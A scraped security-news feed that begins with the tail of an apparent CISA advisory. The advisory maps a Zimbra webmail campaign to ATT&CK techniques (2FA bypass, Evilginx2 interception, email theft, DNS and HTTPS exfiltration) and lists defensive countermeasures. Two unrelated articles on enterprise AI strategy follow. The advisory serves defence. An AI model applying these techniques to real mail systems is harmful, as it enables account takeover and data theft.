<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption]]></title>
<description><![CDATA[I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.



The initial hype has ...]]></description>
<link>https://tsecurity.de/de/3694390/it-security-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694390/it-security-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.</p>



<p class="wp-block-paragraph">The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.</p>



<h2 class="wp-block-heading"><a></a>AI as a leadership multiplier</h2>



<p class="wp-block-paragraph">The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.</p>



<p class="wp-block-paragraph">When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”</p>



<p class="wp-block-paragraph">Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.</p>



<p class="wp-block-paragraph">Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.</p>



<p class="wp-block-paragraph">When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.</p>



<p class="wp-block-paragraph">The requirement for top-down, executive ownership stems from three critical realities observed in the field:</p>



<ul class="wp-block-list">
<li><strong>Silo-smashing and data collaboration:</strong> True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.</li>



<li><strong>Cultural transformation and fear mitigation:</strong> AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.</li>



